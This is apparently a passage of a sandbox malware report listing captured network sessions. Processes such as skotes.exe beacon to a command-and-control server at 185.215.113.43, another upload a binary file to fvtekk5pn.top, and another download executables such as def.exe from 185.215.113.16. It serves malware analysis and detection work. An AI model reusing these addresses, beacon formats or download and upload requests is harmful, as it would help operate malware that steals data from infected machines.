Nov 24, 2024 10:25:34.101227999 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50036	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:14.248877048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:15.480997086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50063	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:17.114866018 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:18.505110025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50084	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:21.779618025 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:23.213617086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50086	34.116.198.130	80	1964	C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:22.366853952 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 30528 Content-Type: multipart/form-data; boundary=------------------------dP7A5xmeBBJx9GOcwKoYJX Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 50 37 41 35 78 6d 65 42 42 4a 78 39 47 4f 63 77 4b 6f 59 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 65 62 65 74 69 73 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 23 e5 f6 b7 fe d6 10 64 af ad 72 3b 35 5f 08 1b 74 26 1e b0 72 d4 b3 2d 17 6a 7b ae 1e 82 71 d7 20 b7 26 09 2a 62 57 01 17 21 f1 a3 ec ad e5 8b 86 d6 62 83 86 4a 26 a2 d9 d2 e3 95 c4 f8 16 c1 21 34 09 f7 ff 3a d5 61 e3 fc bc 52 36 af 84 b7 28 0f d8 8d 3f 9d d0 f4 d8 62 c2 4e e4 46 9a 7e f9 e4 46 ed b1 a1 e7 db d9 51 96 00 c1 2d bf fb 74 46 2d 07 e3 88 5b 71 8a 30 7b be 5e 8f 69 af c0 07 d0 fa 9c 7f 12 ad 68 33 13 1f 04 2a 97 8a e0 9d aa af 58 03 ca f9 8d 7e 17 03 03 41 d1 73 fd 49 eb 40 e9 4a 37 1d 7d c9 0b 7a 8b 13 f5 6a [TRUNCATED] Data Ascii: --------------------------dP7A5xmeBBJx9GOcwKoYJXContent-Disposition: form-data; name="file"; filename="Bebetisa.bin"Content-Type: application/octet-stream#dr;5_t&r-j{q &bW!bJ&!4:aR6(?bNF~FQ-tF-[q0{^ih3X~AsI@J7}zj^h>a&SJ;>h+`tkH!869/=\|2Aq0U]S6Ym!~O`pVJmA />Jz&}FIcn[4qW%Bqq!"v9t$ero#X\s\|9YD?SGn"7C>}E=PkA$qBe@A]c(eI)GKjF02hiIGjnia8y\|<3)]vDuZmk?(1ryno"x,R+zL!Y}=&>~%FKj%f0nrAWuR/Nep+Ed%tC]-QR>3\(o]rf;;}U,N&Ed9!"V#\|Xk6$[a<-WeHT.kAVm$I[:u&.KjsV [TRUNCATED]
Nov 24, 2024 10:25:22.486490011 CET	2472	OUT	Data Raw: 9e 27 e8 95 bc 63 95 c0 c0 fe ba 36 35 25 80 24 0b 16 d1 c7 70 20 20 7a ed c8 69 14 35 9d 29 e8 7a db dc e8 b4 84 14 0c e7 85 03 25 ce 90 e8 ed a0 58 44 cb 2e c9 09 73 6c dd 61 5e e5 a5 0f 9a 32 e7 8c 83 de a2 07 91 d3 9e 6f 35 0d 2a 1c 4b 87 7f Data Ascii: 'c65%$p zi5)z%XD.sla^2o5*KE@@M;R>#ho<\694%IT(5w2@u37Z{d>f1Y[;uds.Qx:J=xUFVpn
Nov 24, 2024 10:25:22.486515045 CET	2472	OUT	Data Raw: 20 d9 28 4d 8a 45 1a a4 0b 74 ab 15 e1 a2 94 cf 99 06 4c ff fe 8b fa 8a 3b 1a 37 4c af 48 ad 1f fb ce 7f 13 fe d7 ce ae 60 98 4c f1 ed c4 4d 99 b8 99 e4 34 c7 36 9e 8a 03 2a 2d 15 99 e8 b9 59 d9 a3 3f 90 b1 d0 e3 4f 39 4e cb be db a5 4a 1c 68 cc Data Ascii: (MEtL;7LH`LM46-Y?O9NJh?Kic7i&9dZayg[E:&:*G'YyW]u`)E^;}!VuN/B[vh5[a#-vZgB=
Nov 24, 2024 10:25:22.486721992 CET	4944	OUT	Data Raw: e4 bd c5 65 47 6c 90 79 5e c4 55 92 4a 2d b2 28 50 cc e8 28 db e0 6e 4d c1 d4 f8 06 85 15 9e e5 23 6f 46 01 e6 d1 b3 85 9c 72 a9 03 d6 f8 cc b7 92 1d 02 ad 76 fe 38 ef 98 5c c1 26 de 98 0c 6f 2d a4 e1 1b d1 b3 12 3d 2f bf 20 10 79 81 7f b1 4b 18 Data Ascii: eGly^UJ-(P(nM#oFrv8\&o-=/ yKs~)V#I/RU>M\"IoM-TAIp&*gib_qi@gAKrtm.r?#EOX2/0q&-]8Wvkm}JOzQ]@J
Nov 24, 2024 10:25:22.486819029 CET	4944	OUT	Data Raw: e7 47 db 13 13 26 39 68 aa 00 58 b5 90 c3 d3 4e d5 51 47 16 49 12 b5 ea 09 2b 64 1b 51 62 c4 c1 d0 77 f6 9e 24 d0 f5 9c c3 70 3a de 6a b6 8d 3a ea bd de 9d 1b 75 82 67 70 f3 6d 37 99 fe 39 ce a5 4e 49 7c bf 40 07 21 4f 35 0b f1 ca fc 64 68 24 94 Data Ascii: G&9hXNQGI+dQbw$p:j:ugpm79NI\|@!O5dh$r?#EnR>oD@W%l$cq'\|_v2;Dd`T:9:T!Y0~T$opD<xTm7J>7@\-l+0Z9};JUB3-^q%9]J5
Nov 24, 2024 10:25:22.486886024 CET	3517	OUT	Data Raw: d0 8c a5 c9 65 0f 48 35 5a 51 13 b4 02 ef 91 75 21 bd f9 fd f8 ba 52 30 a8 6a f3 6d 51 38 f3 af df a5 1a 33 a0 68 6b 0a 8c 4d 34 ce 7a b9 3d 29 93 16 4b 26 0a cb d5 3e d9 9f 8a 19 2f 99 66 3a 68 c4 d3 0e 30 8f b1 03 89 ec 0e 05 36 2b cf 73 cb 1d Data Ascii: eH5ZQu!R0jmQ83hkM4z=)K&>/f:h06+sOzLLykG:Fx7`;iTM8;H}dNe'$J*rn6~Z+UlfIO`rSBi$>"QN;gRNBtu#@&-Cav%N-U#G?&rg9L
Nov 24, 2024 10:25:24.045414925 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 09:25:23 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1732442090 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50095	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:24.987348080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:26.330183029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:28.274828911 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:29.480767965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 09:35:50 GMT Age: 85779 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:29.728214979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:30.069246054 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 09:35:50 GMT Age: 85779 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50115	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:28.683708906 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:30.099853992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	50125	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:29.773626089 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50132	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:30.193639994 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:31.374310017 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35184 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:31.441257954 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:31.774262905 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35184 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:31.786103964 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:32.119658947 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35184 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:33.106631994 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:33.440140009 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35186 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:37.390221119 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:37.724770069 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35190 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:39.346529007 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:25:39.679790020 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35192 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:25:49.828640938 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:26:00.001986027 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50133	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:30.301522970 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:31.437690973 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56839 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:31.459057093 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:31.782476902 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56839 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:32.778589010 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:33.101767063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56840 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:37.058588982 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:37.382141113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56845 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:39.005162001 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:39.330476999 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56847 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:49.375446081 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:25:59.674088955 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50140	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:31.879302025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:33.311186075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50141	185.215.113.16	80	1896	C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:31.990468979 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
